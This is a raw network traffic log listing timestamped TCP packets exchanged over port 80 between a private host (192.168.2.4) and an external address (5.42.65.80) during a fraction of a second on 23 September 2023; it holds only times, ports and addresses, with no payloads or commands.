Sep 23, 2023 17:53:23.097837925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.098612070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.098628998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.098680973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.098709106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.099652052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.099668980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.099692106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.099728107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.099769115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.100524902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.100562096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.100603104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.100630045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.101509094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.101546049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.101581097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.101623058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.101660967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.102473021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.102596045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.102646112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.102674007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.103492975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.103533983 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.103593111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.103710890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.103748083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.104355097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.104779005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.104810953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.104824066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.104825974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.104867935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.105670929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.105688095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.105740070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.105753899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.106551886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.106600046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.106626034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.106676102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.106718063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.107672930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.107716084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.107733011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.107758999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.108488083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.108536959 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.108594894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.108637094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.108676910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.109486103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.109565020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.109608889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.109673977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.110393047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.110441923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.110511065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.110585928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.110622883 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.111593962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.111871958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.111916065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.111932039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.112193108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.112231016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.112236023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.112297058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.112334967 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.113197088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.113266945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.113305092 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.113440037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.114109039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.114149094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.114272118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.114398003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.114440918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.115025997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.115412951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.115466118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.115470886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.117584944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.117628098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.117634058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.117724895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.117764950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.118227959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.118243933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.118283987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.118311882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.118563890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.118602991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.118655920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.118726969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.118762970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.118814945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.118864059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.118899107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.118923903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.119755030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.119801044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.119811058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.120289087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.120328903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.120354891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.120417118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.120452881 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.121417999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.121481895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.121520042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.122031927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.122230053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.122271061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.122373104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.122509003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.122545004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.123513937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.124098063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.124129057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.124140978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.124499083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.124525070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.124547005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.124607086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.124645948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.124804020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.124820948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.124866962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.124953985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.125715971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.125757933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.125783920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.125814915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.125850916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.126687050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.126758099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.126795053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.126810074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.127826929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.127871037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.127873898 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.127901077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.127935886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.128573895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.128593922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.128632069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.128634930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.129414082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.129446983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.129456043 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.129507065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.129544973 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.130260944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.130286932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.130325079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.130373001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.131294966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.131342888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.131546021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.131629944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.131666899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.132364035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.132448912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.132483006 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.132513046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.133200884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.133239031 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.133411884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.133546114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.133583069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.133934021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.134046078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.134084940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.134130001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.134808064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.134849072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.135107994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.135875940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.135915995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.136177063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.136270046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.136317015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.137079000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.141130924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.141190052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.141204119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.142388105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.142426968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.142433882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.142512083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.142550945 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.142720938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.142807961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.142842054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.142858982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.143096924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.143138885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.143165112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.143234968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.143270969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.143471956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.143538952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.143573999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.143698931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.144165993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.144203901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.144258976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.144329071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.144366980 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.148766041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.148835897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.148870945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.148875952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.149240971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.149281025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.149445057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.149523973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.149565935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.149626017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.149687052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.149730921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.149755955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.150439978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.150480986 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.151210070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.151287079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.151328087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.151535034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.151582956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.151623011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.151683092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152076006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152112961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152117968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.152183056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152223110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.152393103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152450085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152487993 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.152704954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152760983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152797937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.152801991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152874947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.152913094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.153321981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.153358936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.153402090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.153425932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.153567076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.153600931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.153618097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.153944969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.153984070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.154063940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.154143095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.154184103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.154408932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.154500008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.154550076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.154567957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155015945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155034065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155056000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.155112982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155148029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.155343056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155426979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155464888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.155489922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155755043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155791044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155793905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.155850887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.155889034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.156018019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.156128883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.156163931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.156224012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.156553030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.156594992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.156615973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.156832933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.156872034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.157299995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.157362938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.157406092 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.157469034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.157960892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.158009052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.158050060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.158123016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.158162117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.158586979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.158674002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.158715010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.158773899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.159513950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.159554958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.159571886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.159809113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.159849882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.159985065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.160001040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.160052061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.160090923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.160412073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.160446882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.160470009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.160566092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.160605907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.161026955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.165714025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.165740967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.165759087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.165931940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.165970087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.165992022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.166089058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.166127920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.166709900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.166749001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.166790962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.166815996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.167157888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.167202950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.167293072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.167459011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.167495012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.167510986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.167541981 CEST	80	49781	5.42.65.80	192.168.2.4
